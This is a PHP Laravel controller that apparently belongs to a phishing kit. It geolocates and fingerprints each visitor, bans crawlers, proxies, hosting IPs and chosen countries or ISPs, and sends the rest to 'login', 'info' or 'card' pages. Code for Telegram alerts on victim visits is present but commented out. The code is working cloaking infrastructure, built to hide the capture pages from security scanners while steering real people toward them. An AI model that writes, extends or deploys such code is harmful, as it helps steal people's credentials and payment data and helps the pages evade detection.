<?php

namespace App\Http\Controllers;

use App\Models\Antibots;
use App\Models\Client;
use App\Models\Settings;
use App\Models\Stats;
use App\Models\Visits;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Session;
use App\Services\IpApiService;
use App\Services\VisitorStatsService;
use Jenssegers\Agent\Agent;
use App\Helpers\UrlHelper;
use App\Services\TelegramService;
use App\Services\AntibotPolicyService;
use Jaybizzle\CrawlerDetect\CrawlerDetect;

class CheckController extends Controller
{
    public function check($userid, Request $request, IpApiService $ipApiService, TelegramService $telegramService, VisitorStatsService $visitorStatsService)
    {
        if (!$userid) {
            return response()->json([
                'error' => 'User ID is required'
            ], 400);
        }

        // Get IP and device info first
        $ipAddress = $this->getRealIp($request);
        $ipDetails = $ipApiService->getIpDetails($ipAddress);
        $agent = new Agent();
        $agent->setUserAgent($request->header('User-Agent'));
        $user_agent = $agent->device() . ' ' . $agent->platform() . ' ' . $agent->browser() . ' ' . $agent->version($agent->browser());

        $deviceInfo = [
            'device' => $agent->device(),
            'platform' => $agent->platform(),
            'platform_version' => $agent->version($agent->platform()),
            'browser' => $agent->browser(),
            'browser_version' => $agent->version($agent->browser()),
            'is_mobile' => $agent->isMobile(),
            'is_tablet' => $agent->isTablet(),
            'is_desktop' => $agent->isDesktop(),
            'is_robot' => $agent->isRobot(),
            'languages' => $agent->languages()[0] ?? 'Unknown',
        ];

        if (!$ipDetails || $ipDetails['status'] !== 'success') {
            Log::error('Unable to fetch IP details.', [
                'ip' => $ipAddress,
                'details' => $ipDetails,
            ]);
            return response()->json(['error' => 'Unable to fetch IP details'], 500);
        }

        $userisp = $ipDetails['as'] ?? $ipDetails['org'] ?? $ipDetails['isp'] ?? 'Unknown';

        // Always log the visit first
        $this->setVisit(
            $userid,
            $ipAddress,
            $ipDetails['country'] ?? 'Unknown',
            $ipDetails['countryCode'] ?? 'Unknown',
            $userisp ?? 'Unknown',
            $agent->languages()[0] ?? 'Unknown',
            $user_agent
        );

        // Increment click stat for every visit
        $this->incrementStats('click');

        // Check if client already exists ONCE and store the result
        $client = Client::where('unique_id', $userid)->first();
        $isNewClient = !$client;

        if ($client) {
            $this->syncClientGeoFromVisit($client, $ipAddress, $ipDetails, $userisp, $deviceInfo);
            $this->applyPendingBotScore($client, $userid);
            $client->refresh();
        }

        $settings = Settings::first();
        $antibots = Antibots::first();
        $policy = app(AntibotPolicyService::class);

        if ($client && $policy->isBotBlocked($client)) {
            $this->incrementStats('bot');
            return response()->json([
                'success' => false,
                'error' => 'Bot detected',
                'reason' => 'bot_detected',
                'bot_verdict' => $client->bot_verdict,
                'bot_score' => $client->bot_score,
            ], 200);
        }

        // Determine next page
        $next_page = 'card'; // default
        if ($settings?->page_login) {
            $next_page = 'login';
        } elseif ($settings?->page_info && !$settings?->page_login) {
            $next_page = 'info';
        }

        // Proxy/hosting — independent of Anti-Bot Protection toggle
        if (
            $policy->isProxyProtectionEnabled($antibots)
            && ($ipDetails['proxy'] === true || $ipDetails['hosting'] === true)
        ) {
            return $this->denyAntibotAccess(
                $client,
                $userid,
                $ipDetails,
                $deviceInfo,
                $userisp,
                'proxy_detected',
                'Proxy/Hosting not allowed'
            );
        }

        // Country, crawler, operators — only when Anti-Bot Protection is on
        if ($antibots && $policy->isAntibotProtectionEnabled($antibots)) {
            $countryCode = $ipDetails['countryCode'] ?? null;
            if ($countryCode && $policy->shouldBanForCountry($antibots, $countryCode)) {
                return $this->denyAntibotAccess(
                    $client,
                    $userid,
                    $ipDetails,
                    $deviceInfo,
                    $userisp,
                    'country_not_allowed',
                    'Country not allowed'
                );
            }

            $crawlerDetect = new CrawlerDetect();
            if ($crawlerDetect->isCrawler($request->header('User-Agent'))) {
                return $this->denyAntibotAccess(
                    $client,
                    $userid,
                    $ipDetails,
                    $deviceInfo,
                    $userisp,
                    'crawler_detected',
                    'Crawler detected',
                    'Access denied'
                );
            }

            if ($client && (int) $client->ban === 1) {
                $this->sendBannedClientMessage($client, $telegramService, $ipDetails, $userisp);
                $this->incrementStats('bot');
                return response()->json([
                    'success' => false,
                    'error' => 'User is banned',
                ], 200);
            }

            $operatorReason = $policy->getOperatorBlockReason($antibots, $userisp);
            if ($operatorReason) {
                $operatorErrors = [
                    'operator_blacklist' => 'Operator blacklisted',
                    'operator_whitelist' => 'Operator not whitelisted',
                ];
                return $this->denyAntibotAccess(
                    $client,
                    $userid,
                    $ipDetails,
                    $deviceInfo,
                    $userisp,
                    $operatorReason,
                    $operatorErrors[$operatorReason] ?? 'Operator not allowed'
                );
            }
        }

        // Handle new client
        if ($isNewClient) {
            // Create new client
            $client = Client::create([
                'unique_id' => $userid,
                'ip' => $ipDetails['query'],
                'country_code' => $ipDetails['countryCode'] ?? 'Unknown',
                'last_page' => 'Check',
                'action' => '',
                'language' => $deviceInfo['languages'],
                'isp' => $userisp ?? null,
                'ban' => 0, // New clients start unbanned
                'why' => null,
            ]);

            // Send new client notification
            $this->sendNewClientMessage($userid, $ipDetails, $deviceInfo, $userisp, $telegramService);

            Session::put('unique_id', $userid);

            $session_message = (Session::get('unique_id') === $userid)
                ? "Session created successfully for user {$userid}."
                : "Failed to create session for user {$userid}.";

            $this->incrementStats('client');

            $this->applyPendingBotScore($client, $userid);
            $client->refresh();
            $captchaPayload = $this->captchaPayload($policy, $antibots, $client, $next_page, $session_message);

            return response()->json($captchaPayload, 200);
        }

        // Handle existing client
        if ($client->ban == 0) {
            // Send existing client notification
            $this->sendExistingClientMessage($client, $telegramService, $ipDetails, $userisp);

            Session::put('unique_id', $client->unique_id);

            $session_message = (Session::get('unique_id') === $client->unique_id)
                ? "Session created successfully for user {$client->unique_id}."
                : "Failed to create session for user {$client->unique_id}.";

            $this->incrementStats('client');

            $captchaPayload = $this->captchaPayload($policy, $antibots, $client, $next_page, $session_message);

            return response()->json($captchaPayload, 200);
        } else {
            // Client is banned
            $this->sendBannedClientMessage($client, $telegramService, $ipDetails, $userisp);
            $this->incrementStats('bot');

            return response()->json([
                'success' => false,
                'error' => 'User is banned',
            ], 200);
        }
    }

    private function applyPendingBotScore(Client $client, string $userid): void
    {
        $pending = Cache::pull("antibot:pending:{$userid}");
        if (!$pending || !is_array($pending)) {
            return;
        }

        $client->fill($pending);
        $client->save();
    }

    private function syncClientGeoFromVisit(
        Client $client,
        string $ipAddress,
        array $ipDetails,
        string $userisp,
        array $deviceInfo
    ): void {
        $client->ip = $ipDetails['query'] ?? $ipAddress;
        $client->country_code = $ipDetails['countryCode'] ?? $client->country_code ?? 'Unknown';
        $client->isp = $userisp ?: $client->isp ?: 'Unknown';

        if (empty($client->language) || $client->language === 'Unknown') {
            $client->language = $deviceInfo['languages'] ?? 'Unknown';
        }

        $client->save();
    }

    private function formatClientGeoLines(Client $client, ?array $ipDetails = null, ?string $userisp = null): string
    {
        $ip = trim((string) ($client->ip ?: ($ipDetails['query'] ?? '')));
        $ip = $ip !== '' ? $ip : 'Unknown';

        $countryName = trim((string) ($ipDetails['country'] ?? ''));
        $countryCode = trim((string) ($client->country_code ?: ($ipDetails['countryCode'] ?? '')));
        $country = $countryName !== ''
            ? ($countryCode !== '' ? "{$countryName} ({$countryCode})" : $countryName)
            : ($countryCode !== '' ? $countryCode : 'Unknown');

        $isp = trim((string) ($client->isp ?: $userisp ?: ''));
        $isp = $isp !== '' ? $isp : 'Unknown';

        $lines = '';
        $lines .= "<b>📍 IP</b>: <code>{$ip}</code>\n";
        $lines .= "<b>🌍 Country</b>: <i>{$country}</i>\n";
        $lines .= "<b>📡 ISP</b>: <i>{$isp}</i>\n";

        return $lines;
    }

    private function sendNewClientMessage($userid, $ipDetails, $deviceInfo, $userisp, $telegramService)
    {
        $message = "<b>🆔 <u>New Client Visit</u></b>\n";
        $message .= "<b>  ↳ <code>{$userid}</code></b>\n\n";
        $message .= "📍 <b>IP</b>: <code>{$ipDetails['query']}</code>\n";
        $message .= "🌍 <b>Country</b>: <i>{$ipDetails['country']}</i>\n";
        $message .= "🏴 <b>Code</b>: <i>{$ipDetails['countryCode']}</i>\n";
        $message .= "📡 <b>ISP</b>: <i>{$userisp}</i>\n";
        $message .= "🔧 <b>Device</b>: <i>{$deviceInfo['device']}</i>\n";
        $message .= "💻 <b>Platform</b>: <i>{$deviceInfo['platform']} {$deviceInfo['platform_version']}</i>\n";
        $message .= "🌐 <b>Browser</b>: <i>{$deviceInfo['browser']} {$deviceInfo['browser_version']}</i>\n";
        $message .= "🈯 <b>Languages</b>: <i>{$deviceInfo['languages']}</i>\n";
        $message .= "📱 <b>Is Mobile</b>: <i>" . ($deviceInfo['is_mobile'] ? 'Yes ✅' : 'No ❌') . "</i>\n";

        // $telegramService->sendVisitNotification($message, $userid); // DISABLED: visit notification
    }

    private function sendExistingClientMessage($client, $telegramService, array $ipDetails, string $userisp)
    {
        $message = "<b>🔄 <u>Returning visit</u></b>\n";
        $message .= "<b>  ↳ <code>{$client->unique_id}</code></b>\n\n";
        $message .= $this->formatClientGeoLines($client, $ipDetails, $userisp);

        // $telegramService->sendVisitNotification($message, $client->unique_id); // DISABLED: visit notification
    }

    private function sendBannedClientMessage($client, $telegramService, array $ipDetails, string $userisp)
    {
        $message = "<b>🚫 <u>Banned client visit</u></b>\n";
        $message .= "<b>  ↳ <code>{$client->unique_id}</code></b>\n\n";
        $message .= $this->formatClientGeoLines($client, $ipDetails, $userisp);

        // $telegramService->sendVisitNotification($message, $client->unique_id); // DISABLED: visit notification
    }

    private function getRealIp(Request $request)
    {
        $ip = null;

        if ($request->hasHeader('CF-Connecting-IP')) {
            $ip = $request->header('CF-Connecting-IP');
        } elseif ($request->hasHeader('Forwarded')) {
            preg_match('/for=([^;]+)/', $request->header('Forwarded'), $matches);
            $ip = $matches[1] ?? null;
        } elseif ($request->hasHeader('X-Forwarded-For')) {
            $ip = trim(explode(',', $request->header('X-Forwarded-For'))[0]);
        } elseif ($request->hasHeader('True-Client-IP')) {
            $ip = $request->header('True-Client-IP');
        } else {
            $ip = $request->ip();
        }

        if (!filter_var($ip, FILTER_VALIDATE_IP)) {
            return '127.0.0.1';
        }

        if ($ip === '::1' || $ip === '127.0.0.1') {
            return '196.117.173.102';
        }

        return $ip;
    }

    private function setVisit($uniqueId, $ipAddress, $country, $countryCode, $isp, $language, $user_agent)
    {
        Visits::create([
            'unique_id' => $uniqueId,
            'ip_address' => $ipAddress,
            'country' => $country,
            'country_code' => $countryCode,
            'isp' => $isp,
            'language' => $language,
            'user_agent' => $user_agent
        ]);
    }

    private function incrementStats($column)
    {
        $stat = Stats::firstOrCreate([],
            [
                'click' => 0,
                'client' => 0,
                'bot' => 0,
            ]
        );
        $stat->increment($column);
        return response()->json($stat->refresh());
    }

    private function denyAntibotAccess(
        ?Client $client,
        string $userid,
        array $ipDetails,
        array $deviceInfo,
        ?string $userisp,
        string $why,
        string $error,
        ?string $message = null
    ) {
        $this->incrementStats('bot');

        if ($client) {
            $client->ban = 1;
            $client->why = $why;
            $client->save();
        } else {
            Client::create([
                'unique_id' => $userid,
                'ip' => $ipDetails['query'],
                'country_code' => $ipDetails['countryCode'] ?? 'Unknown',
                'last_page' => 'Check',
                'action' => '',
                'language' => $deviceInfo['languages'],
                'isp' => $userisp ?? null,
                'ban' => 1,
                'why' => $why,
            ]);
        }

        $payload = [
            'success' => false,
            'error' => $error,
        ];
        if ($message !== null) {
            $payload['message'] = $message;
        }

        return response()->json($payload);
    }

    private function captchaPayload(
        AntibotPolicyService $policy,
        ?Antibots $antibots,
        Client $client,
        string $next_page,
        string $session_message
    ): array {
        $captchaEnabled = $policy->isCaptchaProtectionEnabled($antibots);
        $captchaPassed = $client->captcha_passed_at !== null;
        $requireCaptcha = $policy->requiresCaptcha($antibots, $client);

        return [
            'success' => true,
            'captcha' => $requireCaptcha,
            'require_captcha' => $requireCaptcha,
            'captcha_enabled' => $captchaEnabled,
            'captcha_passed' => $captchaPassed,
            'next_page' => $next_page,
            'bot_verdict' => $client->bot_verdict,
            'bot_score' => $client->bot_score,
            'session_message' => $session_message,
        ];
    }
}